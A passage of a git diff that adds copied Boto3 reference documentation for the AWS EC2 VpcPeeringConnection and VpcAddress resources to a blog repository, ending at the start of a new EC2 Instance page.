[id](#EC2.VpcPeeringConnection.id "EC2.VpcPeeringConnection.id") + +These are the resource's available attributes: + +* [accepter_vpc_info](#EC2.VpcPeeringConnection.accepter_vpc_info "EC2.VpcPeeringConnection.accepter_vpc_info") +* [expiration_time](#EC2.VpcPeeringConnection.expiration_time "EC2.VpcPeeringConnection.expiration_time") +* [requester_vpc_info](#EC2.VpcPeeringConnection.requester_vpc_info "EC2.VpcPeeringConnection.requester_vpc_info") +* [status](#EC2.VpcPeeringConnection.status "EC2.VpcPeeringConnection.status") +* [tags](#EC2.VpcPeeringConnection.tags "EC2.VpcPeeringConnection.tags") +* [vpc_peering_connection_id](#EC2.VpcPeeringConnection.vpc_peering_connection_id "EC2.VpcPeeringConnection.vpc_peering_connection_id") + +These are the resource's available references: + +* [accepter_vpc](#EC2.VpcPeeringConnection.accepter_vpc "EC2.VpcPeeringConnection.accepter_vpc") +* [requester_vpc](#EC2.VpcPeeringConnection.requester_vpc "EC2.VpcPeeringConnection.requester_vpc") + +These are the resource's available actions: + +* [accept()](#EC2.VpcPeeringConnection.accept "EC2.VpcPeeringConnection.accept") +* [delete()](#EC2.VpcPeeringConnection.delete "EC2.VpcPeeringConnection.delete") +* [get_available_subresources()](#EC2.VpcPeeringConnection.get_available_subresources "EC2.VpcPeeringConnection.get_available_subresources") +* [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") +* [reject()](#EC2.VpcPeeringConnection.reject "EC2.VpcPeeringConnection.reject") +* [reload()](#EC2.VpcPeeringConnection.reload "EC2.VpcPeeringConnection.reload") + +These are the resource's available waiters: + +* [wait_until_exists()](#EC2.VpcPeeringConnection.wait_until_exists "EC2.VpcPeeringConnection.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The VpcPeeringConnection's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +accepter_vpc_info + +* _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +expiration_time + +* _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + +requester_vpc_info + +* _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +status + +* _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + +tags + +* _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_peering_connection_id + +* _(string) --_ + + The ID of the VPC peering connection. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +accepter_vpc + +(Vpc) The related accepter_vpc if set, otherwise None. + +requester_vpc + +(Vpc) The related requester_vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +accept(kwargs_) + +Accept a VPC peering connection request. To accept a request, the VPC peering connection must be in the pending-acceptance state, and you must be the owner of the peer VPC. Use DescribeVpcPeeringConnections to view your outstanding VPC peering connection requests. + +For an inter-Region VPC peering connection request, you must accept the VPC peering connection in the Region of the accepter VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AcceptVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.accept( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + * **VpcPeeringConnection** _(dict) --_ + + Information about the VPC peering connection. + + * **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **Status** _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +delete(kwargs_) + +Deletes a VPC peering connection. Either the owner of the requester VPC or the owner of the accepter VPC can delete the VPC peering connection if it's in the active state. The owner of the requester VPC can delete a VPC peering connection in the pending-acceptance state. You cannot delete a VPC peering connection that's in the failed state. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.load() + +Returns + +None + +reject(kwargs_) + +Rejects a VPC peering connection request. The VPC peering connection must be in the pending-acceptance state. Use the DescribeVpcPeeringConnections request to view your outstanding VPC peering connection requests. To delete an active VPC peering connection, or to delete a VPC peering connection request that you initiated, use DeleteVpcPeeringConnection . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.reject( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +reload() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.reload() + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this VpcPeeringConnection is exists. This method calls EC2.Waiter.vpc_peering_connection_exists.wait() which polls. [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + * accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + * accepter-vpc-info.vpc-id - The ID of the accepter VPC. + * expiration-time - The expiration date and time for the VPC peering connection. + * requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + * requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + * requester-vpc-info.vpc-id - The ID of the requester VPC. + * status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + * status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-peering-connection-id - The ID of the VPC peering connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcAddress](#id1258) +------------------------------------------------------------------ + +_class_ EC2.VpcAddress(_allocation_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcAddress: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_address = ec2.VpcAddress('allocation_id') + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [allocation_id](#EC2.VpcAddress.allocation_id "EC2.VpcAddress.allocation_id") + +These are the resource's available attributes: + +* [association_id](#EC2.VpcAddress.association_id "EC2.VpcAddress.association_id") +* [carrier_ip](#EC2.VpcAddress.carrier_ip "EC2.VpcAddress.carrier_ip") +* [customer_owned_ip](#EC2.VpcAddress.customer_owned_ip "EC2.VpcAddress.customer_owned_ip") +* [customer_owned_ipv4_pool](#EC2.VpcAddress.customer_owned_ipv4_pool "EC2.VpcAddress.customer_owned_ipv4_pool") +* [domain](#EC2.VpcAddress.domain "EC2.VpcAddress.domain") +* [instance_id](#EC2.VpcAddress.instance_id "EC2.VpcAddress.instance_id") +* [network_border_group](#EC2.VpcAddress.network_border_group "EC2.VpcAddress.network_border_group") +* [network_interface_id](#EC2.VpcAddress.network_interface_id "EC2.VpcAddress.network_interface_id") +* [network_interface_owner_id](#EC2.VpcAddress.network_interface_owner_id "EC2.VpcAddress.network_interface_owner_id") +* [private_ip_address](#EC2.VpcAddress.private_ip_address "EC2.VpcAddress.private_ip_address") +* [public_ip](#EC2.VpcAddress.public_ip "EC2.VpcAddress.public_ip") +* [public_ipv4_pool](#EC2.VpcAddress.public_ipv4_pool "EC2.VpcAddress.public_ipv4_pool") +* [tags](#EC2.VpcAddress.tags "EC2.VpcAddress.tags") + +These are the resource's available references: + +* [association](#EC2.VpcAddress.association "EC2.VpcAddress.association") + +These are the resource's available actions: + +* [associate()](#EC2.VpcAddress.associate "EC2.VpcAddress.associate") +* [get_available_subresources()](#EC2.VpcAddress.get_available_subresources "EC2.VpcAddress.get_available_subresources") +* [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") +* [release()](#EC2.VpcAddress.release "EC2.VpcAddress.release") +* [reload()](#EC2.VpcAddress.reload "EC2.VpcAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +_(string)_ The VpcAddress's allocation_id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_id + +* _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + +* _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +* _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +* _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +* _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +* _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +* _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +* _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +* _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ip + +* _(string) --_ + + The Elastic IP address. + + +public_ipv4_pool + +* _(string) --_ + + The ID of an address pool. + + +tags + +* _(list) --_ + + Any tags assigned to the Elastic IP address. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = vpc_address.associate( + InstanceId='string', + PublicIp='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +* **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **PublicIp** (_string_) -- The Elastic IP address to associate with the instance. This is required for EC2-Classic. +* **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +* **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.load() + +Returns + +None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = vpc_address.release( + PublicIp='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +* **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.reload() + +Returns + +None + +[EBS](ebs.html "previous chapter (use the left arrow)") + +[EC2InstanceConnect](ec2-instance-connect.html "next chapter (use the right arrow)") + +### Navigation + +* [index](../../genindex.html "General Index") +* [modules](../../py-modindex.html "Python Module Index") | +* [next](ec2-instance-connect.html "EC2InstanceConnect") | +* [previous](ebs.html "EBS") | +* [Boto3 Docs 1.16.47 documentation](../../index.html) » +* [Available services](index.html) » + +const shortbread = AWSCShortbread({ domain: ".amazonaws.com", }); shortbread.checkForCookieConsent(); [Privacy](https://aws.amazon.com/privacy) | [Site Terms](https://aws.amazon.com/terms) | [Cookie preferences](#) | © Copyright 2020, Amazon Web Services, Inc. Created using [Sphinx](https://sphinx.pocoo.org/). diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-8Instance.md b/_posts/01Cloud/01AWS/0boto3code/ec2-8Instance.md new file mode 100644 index 00000000000..cfcfff637c3 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-8Instance.md @@ -0,0 +1,17390 @@ + + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + - Client + - Paginators + - Waiters + - Service Resource + - ClassicAddress + - DhcpOptions + - Image + - Instance + - InternetGateway + - KeyPair + - KeyPairInfo + - NetworkAcl + - NetworkInterface + - NetworkInterfaceAssociation + - PlacementGroup + - Route e) + - RouteTable + - RouteTableAssociation + - SecurityGroup + - Snapshot + - Subnet + - Tag + - Volume + - Vpc + - VpcPeeringConnection + - VpcAddress + +--- + + +# EC2 - Instance + +_class_ EC2.Instance(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Instance: + +```py +import boto3 + +ec2resource = boto3.resource('ec2') +instance = ec2resource.Instance('id') +# (_string_) -- The Instance's id identifier. This **must** be set. +``` + + + +These are the resource's available identifiers: + +- [id](#EC2.Instance.id "EC2.Instance.id") + +These are the resource's available attributes: + +- [ami_launch_index](#EC2.Instance.ami_launch_index "EC2.Instance.ami_launch_index") +- [architecture](#EC2.Instance.architecture "EC2.Instance.architecture") +- [block_device_mappings](#EC2.Instance.block_device_mappings "EC2.Instance.block_device_mappings") +- [capacity_reservation_id](#EC2.Instance.capacity_reservation_id "EC2.Instance.capacity_reservation_id") +- [capacity_reservation_specification](#EC2.Instance.capacity_reservation_specification "EC2.Instance.capacity_reservation_specification") +- [client_token](#EC2.Instance.client_token "EC2.Instance.client_token") +- [cpu_options](#EC2.Instance.cpu_options "EC2.Instance.cpu_options") +- [ebs_optimized](#EC2.Instance.ebs_optimized "EC2.Instance.ebs_optimized") +- [elastic_gpu_associations](#EC2.Instance.elastic_gpu_associations "EC2.Instance.elastic_gpu_associations") +- [elastic_inference_accelerator_associations](#EC2.Instance.elastic_inference_accelerator_associations "EC2.Instance.elastic_inference_accelerator_associations") +- [ena_support](#EC2.Instance.ena_support "EC2.Instance.ena_support") +- 